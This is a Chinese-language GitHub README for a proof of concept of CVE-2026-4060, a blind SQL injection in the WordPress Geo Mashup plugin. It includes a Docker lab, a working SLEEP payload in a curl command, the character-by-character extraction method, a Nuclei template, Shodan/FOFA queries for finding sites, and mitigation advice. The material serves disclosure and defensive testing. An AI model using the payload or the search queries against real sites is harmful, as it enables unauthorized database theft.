ydking0911/CVE-2026-4060-PoC
GitHub: ydking0911/CVE-2026-4060-PoC
针对 WordPress 插件 Geo Mashup ≤ 1.13.18 未授权 ORDER BY 时间盲注 SQL 注入漏洞(CVE-2026-4060)的 PoC,含 Python 利用脚本、Nuclei 检测模板和 Docker 靶场环境。
Stars: 0 | Forks: 0
# CVE-2026-4060 — Geo Mashup ≤ 1.13.18 未授权 SQL 注入 PoC


-blue)

## 目录
- [漏洞概述](#vulnerability-overview)
- [测试环境](#test-environment)
- [运行方式](#how-to-run)
- [测试结果](#test-results)
- [缓解措施](#mitigation)
- [检测方法](#detection)
- [时间线](#timeline)
- [参考链接](#references)
## 漏洞概述
| 字段 | 详情 |
|-------|--------|
| **CVE** | CVE-2026-4060 |
| **插件** | 由 cyberhobo 开发的 [Geo Mashup](https://wordpress.org/plugins/geo-mashup/) |
| **受影响版本** | ≤ 1.13.18 |
| **修复版本** | 1.13.19 |
| **CVSS v3.1** | 7.5 (高) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` |
| **CWE** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) — SQL 中的特殊元素中和不当 |
| **所需权限** | 无 (未授权) |
### 技术细节
`render-map` 端点接收的 `sort` 参数在未经净化的情况下直接传入了 `$wpdb->get_results()` 调用:
```
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
```
由于 `$sort` 被原样插值,攻击者可以向 `ORDER BY` 子句中注入子查询。WordPress 的 `wpdb` 会转义单引号,因此 PoC 使用 `ORD(SUBSTRING(...))` 结合数值比较来绕过此限制,并执行基于时间的盲注提取。
**易受攻击的端点:**
```
GET /?geo_mashup_content=render-map&map_content=global&sort=
```
## 测试环境
| 组件 | 版本 |
|-----------|---------|
| 操作系统 | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | **1.13.18** (易受攻击版本) |
| Python | 3.x (用于 `poc.py`) |
| Nuclei | v3.8.0 |
### 实验架构
```
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
```
WordPress 后台中激活的 Geo Mashup 1.13.18:

## 运行方式
### 1. 启动实验环境
```
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
```
`setup.sh` 将会:
- 启动 WordPress 6.8.2 + MariaDB 11.4 容器
- 通过 WP-CLI 安装并激活 Geo Mashup **1.13.18**(易受攻击版本)
- 创建一个带有地理标签的文章,以便地图端点返回有效响应
完成后:
- **站点:** `http://localhost:8080`
- **后台:** `http://localhost:8080/wp-admin` (用户名: `admin` / 密码: `admin`)
### 2. 确认漏洞 (SLEEP 注入)
```
time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
```
大约 8 秒的响应延迟确认了 `ORDER BY` SQL 注入的存在。
### 3. 提取数据 (PoC)
```
# Default — 仅打印提取结果
python3 poc.py --url http://localhost:8080
# Verbose — 显示每个 payload、响应时间和提取的字符
python3 poc.py --url http://localhost:8080 --verbose
# 仅确认 SQLi,跳过数据提取
python3 poc.py --url http://localhost:8080 --confirm-only
```
### 4. 运行 Nuclei 检测模板
```
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
```
### 5. 销毁实验环境
```
docker compose down -v
```
## 测试结果
### 真阳性 (TP) — 易受攻击目标
#### TP-1: 确认 ORDER BY SLEEP(8) 注入
通过 `sort` 参数注入 `SLEEP(8)` 子查询会产生大约 8 秒的响应延迟。
```
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
```

#### TP-2: 数据提取 (详细模式)
PoC 使用 `ORD(SUBSTRING(...))` 比较逐字提取数据:发送 payload → 测量响应时间 → 当 SLEEP 触发时确认字符。
```
python3 poc.py --url http://localhost:8080 --verbose
```

**提取的数据:**
| 查询 | 结果 |
|-------|--------|
| `VERSION()` | `11.4.10-MariaDB` |
| `DATABASE()` | `wordpress` |
| `USER()` | `wordpress@172.23.0.3` |
#### TP-3: Nuclei 模板检测
```
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
```
### 假阳性 (FP) — 非易受攻击目标
Nuclei 模板采用两步流程来防止误报。
#### FP-1: 未安装 Geo Mashup
如果 `readme.txt` 在步骤 1 返回 404,扫描将立即退出,不发送 SQL payload。
```
Scan completed in 62ms. 0 matches found. ✅
```
#### FP-2: 已修复版本 (≥ 1.13.19)
通过 `readme.txt` 检查插件版本:

如果 `compare_versions(version, '<= 1.13.18')` 失败,则完全跳过步骤 2。
```
Scan completed in 19ms. 0 matches found. ✅
```
## 缓解措施
| 操作 | 详情 |
|--------|--------|
| **更新** | 将 Geo Mashup 升级至 **1.13.19** 或更高版本 |
| **临时方案** | 在应用更新之前停用该插件 |
| **WAF** | 阻断 `ORDER BY` 子句中的子查询注入模式 |
修复提交: [plugins.trac.wordpress.org/changeset/3503627](https://plugins.trac.wordpress.org/changeset/3503627/)
## 检测方法
Nuclei 模板: [`nuclei/CVE-2026-4060.yaml`](nuclei/CVE-2026-4060.yaml)
**检测流程:**
```
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ confirm plugin exists + version <= 1.13.18
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
```
**Shodan / FOFA:**
```
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
```
## 时间线
| 日期 | 事件 |
|------|-------|
| 2026-04 | 发现漏洞 |
| 2026-04 | 报告给插件作者 |
| 2026-05 | 发布 Geo Mashup 1.13.19 补丁 |
| 2026-05-14 | 分配 CVE 并公开披露 |
## 参考链接
- [NVD — CVE-2026-4060](https://nvd.nist.gov/vuln/detail/CVE-2026-4060)
- [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/id/2fa5ae9a-532c-40f9-b70a-217f0f9cd473?source=cve)
- [插件变更集 (修复)](https://plugins.trac.wordpress.org/changeset/3503627/)
- [CWE-89](https://cwe.mitre.org/data/definitions/89.html)
## 免责声明
本仓库仅供**教育和授权安全测试目的使用**。
请勿对您不拥有或未获得明确书面授权测试的系统使用此材料。
作者对任何滥用本材料的行为不承担责任。
标签:CISA项目, CVE, CVE-2026-4060, CWE-89, Geo Mashup, MariaDB, OPA, OpenVAS, ORD, PHP, PoC, SUBSTRING, Web安全, WordPress, 插件漏洞, 数字签名, 数据展示, 文件完整性监控, 时间盲注, 暴力破解, 未授权攻击, 概念验证, 漏洞分析, 漏洞复现, 盲注, 红队, 网络安全, 蓝队分析, 请求拦截, 路径探测, 逆向工具, 隐私保护, 靶场